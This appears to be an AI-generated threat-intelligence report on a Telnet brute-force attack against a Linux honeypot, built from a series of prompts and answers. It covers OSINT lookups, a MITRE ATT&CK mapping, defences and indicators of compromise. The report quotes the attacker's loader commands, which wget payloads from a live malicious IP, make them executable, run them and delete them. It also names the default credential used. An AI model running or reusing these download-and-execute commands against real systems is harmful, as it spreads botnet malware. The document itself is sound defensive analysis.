    • Virustotal Detection: 34 out of 59 detections for the payload linked to the URL.
    • Takedown Time: The URL was taken down approximately 29,445 seconds after being reported.
    • The URL and its payloads have been reported to the hosting provider.

IP Address Analysis (IP: 87.242.89.170):

  • ThreatFox: WHOIS data linked to the same network range and operating organization as the malware host.

The downloaded script is a standard Unix shell script that makes multiple attempts to download and execute malware from 87.242.89.170. This behavior is typical of bots or malware trying to establish persistence and execute further payloads on the infected system.

Based on the URLhaus data, the URL http://87.242.89.170/ISIS.sh has been identified as distributing malware and has been taken offline. It garnered a considerable detection rate on VirusTotal, indicating the payloads were known and detected by multiple antivirus engines. ThreatFox data correlates the same network data for both the malware source IP and the malicious URL's IP, pointing to a possibly coordinated or singular source of the attack.

No direct ExploitDB, MalwareBazaar, or Malpedia data have been linked to this malware in the provided output. However, it is clear that the attack involved the exploitation of a device to download and execute multiple shell scripts that could compromise the system further or enroll it in botnet activities.

Prompt: Summarize the critical findings across all OSINT sources.

Run ID: run_oYjBhHIX3OxTDaZQWS9RZjx5

Answer

The critical findings across all OSINT sources regarding the attack on the Linux honeypot are as follows:

Attack Overview:

  • The attacker utilized the IP address 87.242.92.23 to engage in a multi-stage attack against a honeypot exposed on port 2223.
  • The attack included successful Telnet logins using hardcoded credentials and the execution of a series of shell commands designed to download and run malicious scripts.

Attacker's IP (87.242.92.23):

  • Geolocation: Moscow, Russian Federation.
  • Associated with a Data Center/Web Hosting/Transit ISP: Cloud Technology Limited (Ltd.).
  • Identified as presenting a 61% risk including 51 reports by 23 users.
  • Detected scanning the internet and participating in botnet activities.
  • OpenSSH 7.4 detected on port 22.

Related IP (87.242.89.170):

  • Hosts multiple malicious URLs as identified by different payloads being downloaded from this address.
  • Shares similar organization details and is associated with network infrastructure based in Russia under the same ASN as the attacker's IP.

Malware Analysis:

  • Malware ID: f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed, a shell script designed to download and execute further malicious payloads.
  • Source of download: 87.242.89.170.
  • Detected and reported by multiple users on URLhaus, with considerable antivirus detection rate on VirusTotal.
  • Both IPs linked to "Cloud Technologies" LLC and identified within network range 87.242.84.0 - 87.242.95.255.
  • The downloaded malware scripts were initially hosted on 87.242.89.170 and designed to gain persistence by executing and then removing themselves.

Data Center Hosting and Botnet Activities:

  • Both IPs are used for data center or web hosting, and they have been reported being part of botnet operations.
  • The attacking IP has been reported for abusive network behavior, including scanning.

Takedown Efforts:

  • The URL http://87.242.89.170/ISIS.sh hosting the malware was reported and has been taken offline.

The findings suggest an organized cyber attack possibly involving a botnet, emanating from infrastructure based in Russia associated with the ISP Cloud Technology Limited (Ltd. / Cloud.ru). The goal of the attack appears to be to compromise systems via Telnet access, download, and execute malware to achieve further malicious objectives, such as enlisting compromised systems into botnets or other unauthorized activities.

Prompt: Explain the commands used and their functions in the context of the attack.

Run ID: run_Tj7S7ZWmyQHjyCDWCgnNEAI2

Answer

The attack involved the use of a bash script containing a sequence of shell commands. Here are the commands and their functions in the context of the attack:

  • #!/bin/bash: This is a shebang line indicating that the script should be run with bash, the Bourne-Again SHell.

  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;: Change the current directory to a series of directories where the attacker intends to operate. The || operator means if changing to the previous directory fails, it tries the next one. It targets common directories that might have writable permissions.

  • wget http://87.242.89.170/xxxxx.ISIS;: Use wget to download a file from a given URL hosted on 87.242.89.170. The filename pattern looks like it could be obfuscated or encoded, and it ends with .ISIS, probably to obfuscate the purpose or avoid simple detection mechanisms.

  • chmod +x xxxxx.ISIS;: Change the permissions of the downloaded file to make it executable. The +x grants executable permissions to the user.

  • ./xxxxx.ISIS;: Execute the downloaded script. Running the script means whatever payload it contains will be run on the compromised system.

  • rm -rf xxxxx.ISIS;: Remove the file after execution. This is a cleanup step that helps to hide the tracks of the attack, preventing analysts from easily finding the malicious files on the filesystem.

The command pattern is repeated for different URLs, suggesting that multiple payloads are downloaded and executed in the hope that at least one will work as intended by the attacker. The goal of these commands is typically to establish persistence, exfiltrate data, install additional malware, or integrate the compromised system into a botnet. The removal of downloaded files is a common step to evade detection and analysis after the attack has been executed.

Prompt: Explain the how the malware functions in the context of the attack.

Run ID: run_HP926GLT905Se86fyJf1gtLB

Answer

The malware involved in this attack appears to function as part of a multi-stage infection process aimed at gaining a foothold on the compromised system and potentially carrying out further malicious activities. Here’s how the malware functions in the context of the attack, based on the commands executed:

  1. Initial Access and Download

    • The attacker successfully logs in via Telnet using the credentials root:vizxv.
    • Following a successful login, the attacker attempts to download the malware using wget from the controlled server 87.242.89.170. The mentioned URL /ISIS.sh indicates that the initial payload is a shell script.

  2. Execution of Multiple Payloads

    • The malware script (ISIS.sh) then downloads additional scripts from the same server (87.242.89.170) with various names that appear to be obfuscated to avoid easy detection.
    • Each of these scripts is made executable using chmod +x and then run using ./ (dot-slash) – indicating that they are standalone scripts intended to be executed immediately upon download.

  3. Self-Deletion and Cleanup

    • After execution, the script is instructed to delete itself using rm -rf, a common tactic used by malware to cover its tracks and make post-incident analysis more challenging for forensic investigators.
    • Clearing the history using history -c after executing malicious activities helps prevent easy retrieval of the commands run during the attack.

  4. Execution Objective

    • The exact purpose of the further downloaded scripts is not revealed by their names alone, but based on their execution and removal pattern, they likely function to:
      • Install additional malware components or tools.
      • Establish backdoors to ensure persistent access.
      • Modify system configurations to remain undetected.
      • Enroll the compromised system into a botnet or perform other unauthorized activities such as launching DDoS attacks, mining cryptocurrency, or hosting further malicious content.

  5. Evasion

    • The attack demonstrates an intention to evade detection not only by deleting downloaded scripts but also by executing them from commonly writable directories where transient files may not raise immediate suspicion.

  6. Persistence and Propagation

    • Although the details of each script's payload are not fully known, malware of this type often contains mechanisms for persistence, exfiltrating data, reconnaissance of the internal network, and potentially spreading laterally to other systems.

In sum, the malware functions as an instrument for the attacker to establish control, execute a series of actions with the objectives aligned to the attacker's goals, and then attempt to remove evidence of its presence to evade detection by users or security tools. This approach reflects a deliberate strategy to compromise and then leverage the resources of the infected system for further malicious activity.

Prompt: Explain which vulnerabilities are being exploited. Include the exploit name(s), CVE number(s) and example code from ExploitDB, if possible.

Run ID: run_7upaFA1v6rSY8kAyp54ifDkP

Answer

The information provided and the analysis of the commands executed during the attack does not directly mention or imply specific vulnerabilities that are being exploited. The attack involved the use of stolen or default credentials (root:vizxv) to gain unauthorized access to the honeypot via Telnet. This method does not exploit a software vulnerability; rather, it takes advantage of weak security practices—namely, the use of default or easily guessable credentials.

After gaining access, the attacker executed commands to download and run shell scripts from a remote server. This type of attack leverages poor configuration or lax security controls rather than exploiting a specific vulnerability in software. The execution of these scripts could potentially lead to the exploitation of vulnerabilities depending on what the scripts are designed to do; however, without insight into the contents of the scripts or the activities they perform, we cannot conclusively identify any specific software vulnerabilities being targeted.

What can be said is that an attack like this might attempt to exploit known vulnerabilities on exposed services (such as FTP, SSH, web servers) if access was not obtained through default credentials. To check for such vulnerabilities, one would typically analyze the scripts downloaded by the malware, scan the compromised system for indicators of such exploits, or monitor for network traffic that could be indicative of vulnerability scanning or exploitation attempts.

Without hard evidence of vulnerabilities being actively exploited in this context, such as logs, error messages, script contents detailing exploitation methods, CVE numbers, or ExploitDB codes, we cannot provide precise details of exploited vulnerabilities or related exploit names and example code from ExploitDB. If you have specific scripts or logs that indicate such activity, please provide them for further analysis.

Prompt: How can this attack be classified using the MITRE ATT&CK framework?

Run ID: run_4mqWJ76qjLLEBnKLVM9IvvjJ

Answer

Based on the available information on the attack, here are several relevant MITRE ATT&CK tactics and techniques that could be used to classify this incident:

Initial Access (TA0001):

  • Exploit Public-Facing Application (T1190): The attack on the Linux honeypot server, which involved logging in over Telnet, can be seen as exploiting a publicly accessible application. While there was no specific exploit of a vulnerability, the use of default or stolen credentials falls under this category.
  • Valid Accounts (T1078): The attacker utilized known credentials (root:vizxv) for accessing the server, indicating the use of valid accounts to gain initial access.

Execution (TA0002):

  • Command and Scripting Interpreter: Unix Shell (T1059.004): The attacker executed shell commands and scripts on the system to carry out action after gaining access.

Persistence (TA0003):

  • As the commands are meant to create and execute new processes, if any of the downloaded scripts included mechanisms to maintain access, the following techniques could be applicable:
    • Unix Shell Configuration Modification (T1546.004): If the scripts modify bashrc or other shell configuration files for persistence.

Privilege Escalation (TA0004):

  • If the downloaded scripts attempt to escalate privileges via various means, they would fall under this tactic.

Defense Evasion (TA0005):

  • Indicator Removal on Host: File Deletion (T1070.004): The downloaded scripts were removed after execution, which is a method to avoid detection by security tools or forensic analysis.
  • Modify Authentication Process: Use of Default Accounts (T1078): Using standard accounts with common credentials may suggest an attempt to blend in with normal user activity.

Credential Access (TA0006):

  • This tactic may be relevant if any of the scripts are designed to steal or intercept credentials from the system or network services.

Discovery (TA0007):

  • If the scripts performed reconnaissance or system/network discovery functions, this category could apply.

Lateral Movement (TA0008):

  • This would be relevant if the scripts attempted to access additional systems in the network.

Collection (TA0009):

  • If the scripts gathered data from the system for exfiltration, they would align with this tactic.

Command and Control (TA0011):

  • The downloaded scripts may have established communication with the attacker-controlled server to receive additional instructions or to exfiltrate data.

Exfiltration (TA0010):

  • If the scripts transferred data to an external location, this tactic would apply.

Impact (TA0040):

  • Depending on the intent of the scripts (e.g., disruption, data destruction), the impact might vary.

Each of these classifications would depend on specific behavior exhibited by the downloaded scripts and the broader objectives of the attack campaign. The MITRE ATT&CK framework is designed to be modular and descriptive, so additional or different tactics and techniques may apply as more information about the attack becomes available.

Prompt: What is the goal of the attack?

Run ID: run_EftVYnhvK3sbEGtsQ4lDTzPd

Answer

Based on the analysis of the commands executed in the attack and the other information available, the goal of the attack appears to be multi-faceted:

  1. Unauthorized Access: The initial goal was gaining unauthorized access to the honeypot system using stolen or default credentials (root:vizxv). This was accomplished by exploiting weak security practices rather than a specific vulnerability.

  2. Malware Downloader Execution: Once access was secured, the attacker's goal shifted to the execution of a bash script that functions as a malware downloader. The downloader script was used to retrieve additional malicious scripts from a remote server (87.242.89.170).

  3. Further Malicious Payloads: Each downloaded script could have a specific goal, typically including:

    • Establishing persistence on the compromised system.
    • Collecting and exfiltrating sensitive data from the compromised server.
    • Installing additional malware, such as a backdoor, to facilitate sustained access for the attacker.
    • Enlisting the compromised system into a botnet or using it to conduct other malicious activities like Distributed Denial of Service (DDoS) attacks, cryptocurrency mining, or as a staging point for lateral movement within the network.

  4. Covering Tracks and Evasion: The attacker made efforts to remove the downloaded scripts and clear the command history to minimize traces of the attack. This suggests a goal to remain undetected and potentially maintain access for an extended period.

  5. Infrastructure Expansion: By successfully compromising and controlling multiple systems, the attacker could be aiming to expand their malicious infrastructure, which could be used for various campaigns or monetized in different ways.

While the precise objectives of the downloaded scripts are not known in this analysis, the behavior indicated by the commands and the characteristics of the attack suggest the goals mentioned above. These goals are indicative of a broader strategy to compromise systems for various potential ends, including financial gain, further cyber attacks, or establishing a foothold within targeted networks.

Prompt: If the system is vulnerable, would the attack will be successful?

Run ID: run_u1itCCi70awvHttFu2NCVcB4

Answer

The success of the attack in this case did not depend on exploiting a specific vulnerability in the system's software or configuration. Instead, the attack was successful because it used a simple method of unauthorized access through Telnet using stolen or default credentials (root:vizxv). Hence, the attacker was able to bypass the need for exploiting a technical vulnerability by leveraging weak security practices.

Given the specific details of this attack:

  • If the system’s Telnet service was configured with strong, unique credentials, the attacker’s initial login attempt would likely have failed, preventing the subsequent download and execution of the malware.
  • If the system’s file permissions were securely configured to restrict execution of arbitrary scripts, especially in writable directories, the downloaded malware may not have executed successfully, reducing the impact of the attack.
  • If the system had network-level defenses in place, such as a firewall blocking outgoing connections to the attacker's server, or the URLs the scripts attempted to access, the malware would fail to download and execute.
  • If the system employed a comprehensive monitoring solution, the unusual activities such as the downloading and execution of scripts from a suspicious server could have been detected, possibly alerting admins to take mitigative actions before the attack succeeded.

Even if the system was vulnerable in other ways—such as unpatched software vulnerabilities—the attacker in this instance did not require those vulnerabilities to compromise the system. This attack highlights the importance of basic security precautions such as using strong credentials, reducing the attack surface by disabling unnecessary services like Telnet, and employing network security and monitoring to prevent unauthorized access and execution of malicious payloads.

Prompt: How can a system be protected from this attack?

Run ID: run_OEoZJVY0Y4xNH59ydGbtDXSd

Answer

To protect a system from this type of attack, which relies on compromised credentials and the execution of malicious scripts, various security measures and best practices should be implemented:

  1. Use Strong Authentication:

    • Disable default accounts and passwords.
    • Ensure that strong, complex, and unique passwords are used for all accounts.
    • Implement multi-factor authentication where possible.

  2. Restrict Network Services:

    • Disable unnecessary services like Telnet which are outdated and less secure; use SSH instead.
    • Limit administrative interfaces to local management networks.

  3. Apply Principle of Least Privilege:

    • Only grant users the minimum level of access and permissions required for their role.

  4. Regularly Update and Patch Systems:

    • Keep systems and installed software up to date with the latest patches.
    • Regularly scan for vulnerabilities and remediate any discovered issues promptly.

  5. Network Security Measures:

    • Use firewalls to control inbound and outbound network traffic based on an approved list of IP addresses and ports.
    • Implement Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS) to monitor for and potentially block malicious activity.

  6. Endpoint Protection:

    • Install reputable antivirus and anti-malware solutions and keep their definitions up to date.
    • Use application whitelisting to prevent the execution of unauthorized software.

  7. Security Awareness Training:

    • Provide training to users and administrators about security best practices, including identifying phishing attempts and managing credentials securely.

  8. Monitoring and Logging:

    • Implement system monitoring to detect unusual activity or unauthorized access attempts.
    • Ensure comprehensive logging of system access and changes for forensic analysis in case of a breach.

  9. Incident Response Planning:

    • Develop and maintain an incident response plan to quickly respond to security incidents.

  10. Secure Configuration:

    • Harden systems by following security frameworks such as the CIS Benchmarks or NIST guidelines.
    • Review and lock down configurations, such as file permissions and network services.

  11. Backup and Disaster Recovery:

    • Maintain regular backups and ensure that a tested disaster recovery plan is in place.

By implementing a layered approach to security, combining these measures will greatly enhance a system's defenses, reduce its attack surface, and mitigate the impact of various cyber threats, including those resembling the attack described.

Prompt: What are the indicators of compromise (IOCs) for this attack?

Run ID: run_UlDrWRcYer5xDXhDFAAGDpt8

Answer

The Indicators of Compromise (IOCs) for this attack include several items that were identified through the analysis of the honeypot logs and the OSINT data. Here are the key IOCs:

  1. Source IP Address:

    • 87.242.92.23: The IP address used to initiate the Telnet session and execute commands on the honeypot system.

  2. Download URLs and Host:

    • http://87.242.89.170/ISIS.sh: The URL used to download the initial shell script.
    • Additional URLs/host associated with the payload scripts mentioned in the ISIS.sh script, such as http://87.242.89.170/m-i.p-s.ISIS, http://87.242.89.170/m-p.s-l.ISIS, etc.

  3. Malware Hash:

    • f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed: SHA256 hash of the initial shell script downloaded and executed on the honeypot system.

  4. Malicious Files:

    • Any of the files named in the ISIS.sh script, such as m-i.p-s.ISIS, m-p.s-l.ISIS, etc., which were downloaded and executed.

  5. User Credentials:

    • User credentials used in the attack: root with the password vizxv.

  6. Malicious Commands:

    • A series of commands executed in the session, involving changing directory (cd), file download (wget), modifying file permissions (chmod +x), running scripts (./<scriptname>), and cleanup (rm -rf <scriptname>).

  7. Network Artifacts and Sessions:

    • Telnet sessions to port 2223 that are not part of normal traffic patterns.
    • Any outbound connections to 87.242.89.170 or similar addresses not normally contacted by the system.

  8. TTPs (Tactics, Techniques, and Procedures):

    • Using default or compromised credentials for initial access.
    • Downloading and executing shell scripts for further exploitation.
    • Self-deletion of scripts to evade detection.

These IOCs can be used in security tools for detection and response. It's important to note that IOCs can change over time as attackers modify their strategies, and IP addresses or domains can be reassigned or taken down. Continuous monitoring and adaptive security measures are necessary for robust defense against evolving threats.

Prompt: Summarize attack details, methods and goals to begin the report.

Run ID: run_uG2abQfBr6fQZEqBZXzDlkX0

Answer

Executive Summary of Attack

Attack Overview:

  • A Linux honeypot system exposed to the internet became the target of a cyber attack originating from the IP address 87.242.92.23.
  • The attacker successfully gained access via Telnet using the credentials root:vizxv.
  • Following unauthorized access, a sequence of commands was executed to download and execute shell scripts from a remote server located at 87.242.89.170.
  • The scripts were designed to be executed and then delete themselves from the system, likely to carry out additional malicious activities and to evade detection by hiding their tracks.

Methods:

  • The attacker leveraged weak security practices, specifically the use of potentially default or compromised credentials, rather than exploiting system vulnerabilities.
  • Unix shell scripting and standard Unix commands (cd, wget, chmod, rm) were used to facilitate the download, execution, and cleanup of the malicious payloads.
  • The commands performed indicate a scripted and automated approach to deploying the malware, suggesting a higher level of sophistication and preparation by the attacker.

Attack Goals:

  • The primary goal seems to be establishing unauthorized access and commanding control over the compromised system.
  • Subsequent goals may include enlisting the device into a botnet, using it as a pivot point for further network penetration or lateral movement, data exfiltration, system compromise or disruption, and potentially, ransomware deployment or cryptocurrency mining.
  • Covering tracks and remaining undetected by manipulating system logs and deleting files after execution suggests a long-term exploitation intent.

Indicators of Compromise:

  • IP Address: 87.242.92.23
  • Malware Hash: f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed
  • User Credentials: Username root with password vizxv
  • URLs used in the attack: http://87.242.89.170/ISIS.sh and associated files

The attack reflects broader tactics commonly associated with organized threat actors, utilizing compromised credentials and malware to achieve their objectives. It is imperative to take immediate actions based on the IOCs provided and to reinforce system security to mitigate further risks.

Prompt: Create an informative title for this attack based on the analysis. Do not use any markdown.

Run ID: run_gHgsFxwuDeyAe47mflRUz8FL

Answer

Telnet Compromise and Shell Script Malware Deployment on Linux Honeypot by Organized Attacker